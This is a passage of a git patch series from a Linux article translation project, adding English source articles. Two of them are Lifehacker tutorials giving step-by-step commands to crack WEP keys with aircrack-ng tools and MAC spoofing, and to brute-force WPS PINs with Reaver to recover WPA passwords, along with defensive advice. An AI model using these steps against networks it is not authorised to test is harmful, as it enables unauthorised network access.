learn. It is a good thing that the Internet is available to us today. + +Something to always keep in your mind when using the Internet is that your computer is always a target. A target for viruses, malwares and other programs that want to destroy it. + +Because of that, it’s always recommended to use the Internet with computers that are protected with antivirus and antispyware programs. In some cases, that may still not be enough. Adding more layers of security is always good. + +When looking to add additional layers of security to protect your machines, using OpenDNS’ secure DNS infrastructure may help. There are many parts that make up the Internet and protecting as many of its parts is the best way to go. + +First, you’ll want to install antivirus and antispyware programs on your computers. Because browsing the Internet allows your computer to query remote DNS providers, using protected and secured DNS providers will go a long way protecting your machine. + +This brief tutorials is going to show you how to configure Ubuntu machine to use OpenDNS’ infrastructure to help protect your machines. + + sudo gedit /etc/dhcp/dhclient.conf + +Finally, add the line below into the file and save it. + + supersede domain-name-servers 208.67.222.222,208.67.220.220; + +Restart your computer and enjoy! + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/opendns-ubuntu.png) + +Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From ca283a2e8cae84634eb24db5d5c1a06259f189b9 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Wed, 27 Nov 2013 16:33:45 +0800 Subject: [PATCH 032/148] =?UTF-8?q?20131127-3=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... setup EPEL repository on CentOS 5 or 6.md | 95 +++++++++++++++++++ 1 file changed, 95 insertions(+) create mode 100644 sources/How to setup EPEL repository on CentOS 5 or 6.md diff --git a/sources/How to setup EPEL repository on CentOS 5 or 6.md b/sources/How to setup EPEL repository on CentOS 5 or 6.md new file mode 100644 index 0000000000..3a368d585b --- /dev/null +++ b/sources/How to setup EPEL repository on CentOS 5 or 6.md @@ -0,0 +1,95 @@ +How to setup EPEL repository on CentOS 5/6 +================================================================================ +What is EPEL repository + +EPEL (Extra Packages for Enterprise Linux) is a project from the Fedora group that maintains a repository of software packages that are not already present on RHEL/CentOS. The repository is compatible with RHEL and all close derivates like CentOS and Scientific Linux. + +By using epel we can easily install many packages (around 10,000) with yum command, that are not already present in the centos repositories. EPEL packages are usually based on their Fedora counterparts and will never conflict with or replace packages in the base Enterprise Linux distributions. + +Further details about the epel project are available at + +[https://fedoraproject.org/wiki/EPEL][1] + +So in this tutorial I am going show you how to setup the epel repositories on CentOS + +> Note - There are many different 3rd party repositories that provide software packages for RHEL/CentOS systems. Some of the most popular ones are RpmForge, RpmFusion, EPEL, Remi etc. +> +> However it should be always kept in mind, that if multiple such third party repositories are added to a system, then it can lead of conflicts. The same package can come from multiple repositories, and some repositories can replace base packages of a system leading to unexpected troubles. Rpmforge and Epel are known to have conflicts. +> +> There are advanced techniques to tackle this like setting up priorities, or selectively installing packages from repositories, but ofcourse these require a lot of effort and so if you are not sure about all this, it is recommended to only use 1 such external repository. + +### Install EPEL on CentOS ### + +To setup epel on centos, we need to download the epel installation rpm and install it. +The downloads pages for version 6.x and 5.x of CentOS/RHEL are the following + +[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2] +[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3] + +The above urls would probably redirect to country specific mirrors for faster download. The page would contain a download link to download the rpm directly. The direct download links are + +[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4] +[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5] + +Select the correct url depending on your centos version. +Note that the EPEL installer package is architecture independant, so can be installed on both x86 and x64 systems. + +### 1. Check your CentOS version ### + +First check your centos version with the following command + + $ cat /etc/redhat-release + CentOS release 6.4 (Final) + +### 2. Download EPEL rpm ### + +Now download the epel rpm file for the corresponding centos version from one of the urls given above. + + $ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm + +### 3. Install the EPEL rpm ### + +Now install the epel package with the rpm command + + $ sudo rpm -ivh epel-release-6-8.noarch.rpm + or + $ sudo rpm -ivh epel-release* + +### 5. Check EPEL repository ### + +After installing the epel repository, check that it has been added to the repository list with the yum command + + # yum repolist + Loaded plugins: fastestmirror + Loading mirror speeds from cached hostfile + * base: mirrors.vonline.vn + * epel: buaya.klas.or.id + * extras: centos-hn.viettelidc.com.vn + * updates: mirrors.fibo.vn + repo id repo name status + base CentOS-6 - Base 6,381 + epel Extra Packages for Enterprise Linux 6 - x86_64 10,023 + extras CentOS-6 - Extras 13 + nginx nginx repo 47 + updates CentOS-6 - Updates 1,555 + repolist: 18,019 + +The epel is listed after base repo and provides around 10K packages. So epel is now setup on CentOS. +The epel repository is setup in the **/etc/yum.repos.d/epel.repo** file. + +Now install something from the epel repository + + $ sudo yum install htop + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-epel-repository-centos/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://fedoraproject.org/wiki/EPEL +[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html +[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html +[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm \ No newline at end of file From 28640489ed673e29610f68616928f6ad71850074 Mon Sep 17 00:00:00 2001 From: geekpi Date: Thu, 28 Nov 2013 01:08:22 +0000 Subject: [PATCH 033/148] [Translating] 23 The Linux Kernel--Configuring the Kernel Part 19 --- .../23 The Linux Kernel--Configuring the Kernel Part 19.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md b/sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md index f4c3541fe2..8eb87cbc19 100644 --- a/sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md +++ b/sources/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md @@ -1,3 +1,6 @@ +Translating----------------geekpi + + 23 The Linux Kernel: Configuring the Kernel Part 19 ================================================================================ ![](http://www.linux.org/attachments/slide-jpg.626/) From 17ec85820a9ee455ba1fa2b8043e952194ea300a Mon Sep 17 00:00:00 2001 From: chenjintao_ii Date: Thu, 28 Nov 2013 09:43:36 +0800 Subject: [PATCH 034/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20By=20bazz?= =?UTF-8?q?2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/How to convert video to animated gif image on Linux.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/sources/How to convert video to animated gif image on Linux.md b/sources/How to convert video to animated gif image on Linux.md index 85277c083f..aceb14708f 100644 --- a/sources/How to convert video to animated gif image on Linux.md +++ b/sources/How to convert video to animated gif image on Linux.md @@ -1,3 +1,4 @@ +bazz2 领了 How to convert video to animated gif image on Linux ================================================================================ Once thought of as outdated art forms, animated GIF images have now come back. If you haven't noticed, quite a few online sharing and social networking sites are now supporting animated GIF images, for example, on [Tumblr][1], [Flickr][2], [Google+][3], and [partly on Facebook][4]. Due to their ease of consumption and sharing, GIF-ed animations are now part of mainstream Internet culture. @@ -69,4 +70,4 @@ via: http://xmodulo.com/2013/11/convert-video-animated-gif-image-linux.html [5]:http://xmodulo.com/2013/03/how-to-save-youtube-videos-on-linux.html [6]:http://xmodulo.com/2013/06/how-to-install-ffmpeg-on-linux.html [7]:http://ask.xmodulo.com/install-imagemagick-linux.html -[8]:http://www.flickr.com/photos/xmodulo/10988763123/ \ No newline at end of file +[8]:http://www.flickr.com/photos/xmodulo/10988763123/ From 19438f7efb22249b4faef3d728be9020152df4ef Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Thu, 28 Nov 2013 09:45:45 +0800 Subject: [PATCH 035/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- translated/How to manage Linux server with GUI.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/translated/How to manage Linux server with GUI.md b/translated/How to manage Linux server with GUI.md index f92cedabcd..b1abd78e62 100644 --- a/translated/How to manage Linux server with GUI.md +++ b/translated/How to manage Linux server with GUI.md @@ -23,7 +23,7 @@ Webmin 是一个用`Perl`语言写的轻型 (~20 MB) 系统配置工具。 Webmi $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb $ sudo rpm -U webmin-1.660-1.noarch.rpm -### 使用 Webmin ### +### 使用 Webmin ### 一旦你安装了Webmin, 你可以通过在浏览器中输入 https://:10000 来使用。 如果你开启了防火墙， 请确保TCP端口 10000 没有被使用。 @@ -74,4 +74,4 @@ via: http://xmodulo.com/2013/11/manage-linux-server-gui.html [5]:http://www.flickr.com/photos/xmodulo/10937589506/ [6]:http://www.flickr.com/photos/xmodulo/10937801173/ [7]:http://www.flickr.com/photos/xmodulo/10937589556/ -[8]:http://www.flickr.com/photos/xmodulo/10937532015/ \ No newline at end of file +[8]:http://www.flickr.com/photos/xmodulo/10937532015/ From 4e46e9d2acc270fad0260955cd9b24494bd5523b Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 28 Nov 2013 10:08:46 +0800 Subject: [PATCH 036/148] =?UTF-8?q?20131128-1=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...i Network's WEP Password with BackTrack.md | 125 ++++++++++++++ ...i-Fi Network's WPA Password with Reaver.md | 154 ++++++++++++++++++ 2 files changed, 279 insertions(+) create mode 100644 sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md create mode 100644 sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md diff --git a/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md b/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md new file mode 100644 index 0000000000..3af54a1a08 --- /dev/null +++ b/sources/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md @@ -0,0 +1,125 @@ +How to Crack a Wi-Fi Network's WEP Password with BackTrack +================================================================================ +![](http://img.gawkerassets.com/img/17idgc21242wbjpg/ku-xlarge.jpg) + +You already know that if you want to lock down your Wi-Fi network, you should [opt for WPA encryption][1] because WEP is easy to crack. But did you know how easy? Take a look. + +*Note: This post demonstrates how to crack WEP passwords, an older and less often used network security protocol. If the network you want to crack is using the more popular WPA encryption, see our [guide to cracking a Wi-Fi network's WPA password with Reaver][2] instead.* + +Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing [how to pick a lock][3] doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. + +Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes. + +### What You'll Need ### + +![](http://img.gawkerassets.com/img/17ggkrsu8hf19png/original.png) + +Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need: + +- **A compatible wireless adapter**—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. Update: Don't do what I did. Get the [Alfa AWUS036H][4], not the US050NH, instead. [The guy in this video][5] below is using a $12 model he bought on Ebay (and is even [selling his router of choice)][6]. There are [plenty of resources on getting aircrack-compatible adapters out there][7]. + +- **[A BackTrack Live CD][8]**. We already took you on a [full screenshot tour of how to install and use BackTrack 3][9], the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. + +- **A nearby WEP-enabled Wi-Fi network**. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success. + +- **Patience with the command line**. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient. + +### Crack That WEP ### + +To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands. + +First run the following to get a list of your network interfaces: + + airmon-ng + +The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface). + +Now, run the following four commands. See the output that I got for them in the screenshot below. + + airmon-ng stop (interface) + ifconfig (interface) down + macchanger —mac 00:11:22:33:44:55 (interface) + airmon-ng start (interface) + +![](http://img.gawkerassets.com/img/17ggkrsub9llbpng/ku-xlarge.png) + +If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55. + +Now it's time to pick your network. Run: + + airodump-ng (interface) + +To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else. + +![](http://img.gawkerassets.com/img/17ggkrut97td8png/ku-xlarge.png) + +Like I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands. + +Now we're going to watch what's going on with that network you chose and capture that information to a file. Run: + + airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface) + +Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking. + +![](http://img.gawkerassets.com/img/17ggkrutbx04dpng/ku-xlarge.png) + +You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command: + + aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface) + +Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face. + +![](http://img.gawkerassets.com/img/17ggkrut9v67spng/ku-xlarge.png) + +You're almost there. Now it's time for: + + aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface) + +Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.) + +Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many. + +![](http://img.gawkerassets.com/img/17ggkrwseb5uipng/ku-xlarge.png) + +Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected: + + aircrack-ng -b (bssid) (file name-01.cap) + +Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension. + +If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this: + +![](http://img.gawkerassets.com/img/17ggkrws8f1gepng/ku-medium.png) + +The WEP key appears next to "KEY FOUND." Drop the colons and enter it to log onto the network. + +### Problems Along the Way ### + +With this article I set out to prove that cracking WEP is a relatively "easy" process for someone determined and willing to get the hardware and software going. I still think that's true, but unlike the guy in the video below, I had several difficulties along the way. In fact, you'll notice that the last screenshot up there doesn't look like the others—it's because it's not mine. Even though the AP which I was cracking was my own and in the same room as my Alfa, the power reading on the signal was always around -30, and so the data collection was very slow, and BackTrack would consistently crash before it was complete. After about half a dozen attempts (and trying BackTrack on both my Mac and PC, as a live CD and a virtual machine), I still haven't captured enough data for aircrack to decrypt the key. + +So while this process is easy in theory, your mileage may vary depending on your hardware, proximity to the AP point, and the way the planets are aligned. Oh yeah, and if you're on deadline—Murphy's Law almost guarantees it won't work if you're on deadline. + +To see the video version of these exact instructions, check out this dude's YouTube video. + +[http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][10] + +Got any experience with the WEP cracking courtesy of BackTrack? What do you have to say about it? Give it up in the comments. + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/386675/secure-your-home-wi+fi-network +[2]:http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver +[3]:http://lifehacker.com/399735/how-to-pick-a-lock-with-a-bump-key +[4]:http://www.amazon.com/Alfa-AWUS036H-802-11b-Wireless-network/dp/B002WCEWU8?tag=lifehackeramzn-20&ascsubtag=[referrer|lifehacker.com[type|link[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491 +[5]:http://www.youtube.com/watch?v=oHq-cKoYcr8 +[6]:http://www.youtube.com/watch?v=bFlOHMj7Qoc +[7]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.aircrack-ng.org%2Fdoku.php%3Fid%3Dcompatible_cards&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[9]:http://lifehacker.com/5166530/backtrack-is-a-security+focused-live-cd-packed-with-system-tools +[10]:http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 \ No newline at end of file diff --git a/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md b/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md new file mode 100644 index 0000000000..b7feddb5ad --- /dev/null +++ b/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md @@ -0,0 +1,154 @@ +How to Crack a Wi-Fi Network's WPA Password with Reaver +================================================================================ +![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) + +Your Wi-Fi network is your conveniently wireless gateway to the internet, and since you're not keen on sharing your connection with any old hooligan who happens to be walking past your home, you secure your network with a password, right? Knowing, as you might, how [easy it is to crack a WEP password][1], you probably secure your network using the more bulletproof WPA security protocol. + +Here's the bad news: A new, free, open-source tool called [Reaver][2] exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. Here's how to crack a WPA or WPA2 password, step by step, with Reaver—and how to protect your network against Reaver attacks. + +In the first section of this post, I'll walk through the steps required to crack a WPA password using Reaver. You can follow along with either the video or the text below. After that, I'll explain how Reaver works, and what you can do to protect your network against Reaver attacks. + +[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3] + +First, a quick note: As we remind often remind readers when we discuss topics that appear potentially malicious: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. The more you know, the better you can protect yourself. + +### What You'll Need ### + +You don't have to be a networking wizard to use Reaver, the command-line tool that does the heavy lifting, and if you've got a blank DVD, a computer with compatible Wi-Fi, and a few hours on your hands, you've got basically all you'll need. There are a number of ways you could set up Reaver, but here are the specific requirements for this guide: + +![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) + +- [**The BackTrack 5 Live DVD**][4]. BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD [from BackTrack's download page][5] and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R3 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO. + +- **A computer with Wi-Fi and a DVD drive**. BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro. + +- **A nearby WPA-secured Wi-Fi network**. Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible. + +- **A little patience**. This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The [Reaver home page][6] suggests it can take anywhere from 4-10 hours. Your mileage may vary. + +### Let's Get Crackin' ### + +At this point you should have BackTrack burned to a DVD, and you should have your laptop handy. + +#### Step 1: Boot into BackTrack #### + +To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter. + +Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type `startx` and press Enter. BackTrack will boot into its graphical interface. + +#### Step 2: Install Reaver #### + +Update: This step is no longer necessary, as Reaver comes pre-installed on Backtrack 5 R3. Skip down to Step 3. + +Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to. + +1. Click Applications > Internet > Wicd Network Manager +1. Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time. + +Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type: + + apt-get update + +And then, after the update completes: + + apt-get install reaver + +If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.) + +#### Step 3: Gather Your Device Information, Prep Your Crackin' #### + +In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that. + +**Find your wireless card:** Inside Terminal, type: + + iwconfig + +Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named `wlan0`, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different. + +![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) + +**Put your wireless card into monitor mode**: Assuming your wireless card's interface name is `wlan0`, execute the following command to put your wireless card into monitor mode: + + airmon-ng start wlan0 + +This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be `mon0`, like in the screenshot below. Make note of that. + +![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) + +**Find the BSSID of the router you want to crack**: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command: + + airodump-ng wlan0 + +(Note: If `airodump-ng wlan0` doesn't work for you, you may want to try the monitor interface instead—e.g., `airodump-ng mon0`.) + +You'll see a list of the wireless networks in range—it'll look something like the screenshot below: + +![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) + +When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our [previous guide to cracking WEP passwords][7].) + +Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver. + +#### Step 4: Crack a Network's WPA Password with Reaver #### + +Now execute the following command in the Terminal, replacing `bssid` and moninterface with the BSSID and monitor interface and you copied down above: + + reaver -i moninterface -b bssid -vv + +For example, if your monitor interface was `mon0` like mine, and your BSSID was `8D:AE:9D:65:1F:B2` (a BSSID I just made up), your command would look like: + + reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv + +Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this: + +![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) + +**A few important factors to consider**: Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through. + +Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything). + +### How Reaver Works ### + +Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password. + +Read more details about the vulnerability at [Sean Gallagher's excellent post on Ars Technica][8]. + +### How to Protect Yourself Against Reaver Attacks ### + +Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher [points out as Ars][9], even with WPS manually turned off through his router's settings, Reaver was still able to crack his password. + +> In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable. + +So that's kind of a bummer. You may still want to try disabling WPS on your router if you can, and test it against Reaver to see if it helps. + +You could also set up MAC address filtering on your router (which only allows specifically whitelisted devices to connect to your network), but a sufficiently savvy hacker could detect the MAC address of a whitelisted device and use MAC address spoofing to imitate that computer. + +Double bummer. So what will work? + +I have the open-source router firmware [DD-WRT][10] installed on my router and I was unable to use Reaver to crack its password. As it turns out, [DD-WRT does not support WPS][11], so there's yet another reason to love the free router-booster. If that's got you interested in DD-WRT, check their [supported devices list][12] to see if your router's supported. It's a good security upgrade, and DD-WRT can also do cool things like [monitor your internet usage][13], [set up a network hard drive][14], act as a [whole-house ad blocker][15], [boost the range of your Wi-Fi network][16], and more. It essentially [turns your $60 router into a $600 router][17]. + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[2]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 +[4]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 